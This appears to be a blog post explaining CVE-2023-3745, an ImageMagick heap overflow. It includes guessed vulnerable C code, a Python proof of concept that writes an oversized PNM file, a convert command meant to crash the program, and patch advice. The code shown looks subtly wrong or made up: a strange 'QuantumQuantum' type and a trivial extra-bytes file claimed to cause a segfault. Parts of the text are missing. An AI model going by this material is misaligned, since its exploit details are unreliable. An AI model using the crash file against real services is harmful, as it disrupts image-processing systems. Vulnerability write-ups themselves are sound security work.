ImageMagick has long been a popular tool for processing and editing images, but no software is immune to bugs and security risks. One of the more recent vulnerabilities discovered in ImageMagick is CVE-2023-3745, a heap-based buffer overflow found in the PushCharPixel() function within the quantum-private.h file. In this post, we’ll break down what this vulnerability is, how it works, show you example code and exploits, and explain what you need to do to stay safe.

What is CVE-2023-3745?

CVE-2023-3745 is a vulnerability in ImageMagick—a tool used by countless web applications and desktop programs for handling image files. Specifically, the problem lies in the PushCharPixel() function inside the private Quantum API header file. This bug can allow a carefully crafted image file to trigger a heap-based buffer overflow, leading the application to read memory out of bounds and potentially crash. While it doesn’t directly enable remote code execution, it does make denial of service (DoS) attacks trivial for an attacker with local access, or even a remote attacker if file uploads are not properly sanitized.

Short summary:

How it Works: The Technical Details

The vulnerable function fails to properly check the size of the data it operates on. With enough crafted input, an attacker can cause PushCharPixel() to write or read past the end of a buffer allocated on the heap. This out-of-bounds access can make ImageMagick crash completely and could, under the right circumstances, be used for more serious attacks like information leaks or code execution (if chained with other bugs).

Here's a look at the likely problematic code (simplified for clarity)

// In quantum-private.h

static inline void PushCharPixel(const QuantumQuantum *restrict quantum, 
                                unsigned char **p)
{
    *(*p)++ = (unsigned char) (*quantum);
    // Missing: Bound check on quantum or *p
}

If *p points to a buffer that is not large enough, or quantum points to data outside the intended range, execution could go off the rails.

How an Exploit Works

To exploit this bug, an attacker would need to create an image file that triggers this exact flow in the ImageMagick parser. By setting image headers and pixel data just right, the attacker makes sure PushCharPixel() is called with bad pointers or oversized data.

Exploit PoC

Below is a concept of what such an exploit might look like. Note, this is shared for educational awareness—do not use for malicious purposes!

# PoC by creating a malformed image file
# Save as 'exploit.pnm'
with open('exploit.pnm', 'wb') as f:
    # PNM header
    f.write(b'P6\n')
    f.write(b'256 256\n')
    f.write(b'255\n')
    # Overflow pixel data (way more than required)
    f.write(b'A' * (256 * 256 * 4))  # 4 bytes per pixel instead of 3
# Processing this file with ImageMagick may crash the software

Try:

convert exploit.pnm output.png

With a vulnerable version, this should cause a crash (segmentation fault), demonstrating a denial-of-service attack.

Real-World Attack Scenarios

- Web servers: Any web service that lets users upload images and relies on ImageMagick to process or convert them is at risk. An attacker could upload a malicious file and crash the image processing server.
- Desktop apps: Image viewers or editors that use ImageMagick libraries can also be forced to crash if the user happens to open a booby-trapped file.
- Batch processing: Automated pipelines converting images in bulk could be halted by a single crafted image.

How to Stay Safe

If you rely on ImageMagick, patch as soon as possible. The maintainers have fixed this issue—check their official security advisories, GitHub diffs, or your Linux distribution’s packages. Don’t forget to restart any services after patching.

sudo apt install imagemagick

`

- Sanitize user uploads: Never process untrusted files directly!
- Use containers for conversion: Isolate image processing with Docker or similar containers where possible.

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## Original References

- CVE-2023-3745 Detail at NVD
- ImageMagick Security Policy

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## Final Thoughts

ImageMagick is a critical tool for many websites and apps, but even small coding errors can lead to large problems. CVE-2023-3745 teaches us the importance of scrutinizing how we handle memory and user input—especially in code that eats arbitrary files. Patch quickly, and never trust user data, even if it’s “just an image.”

Stay safe and keep your software up to date!

Timeline

Published on: 07/24/2023 16:15:00 UTC
Last modified on: 08/02/2023 14:08:00 UTC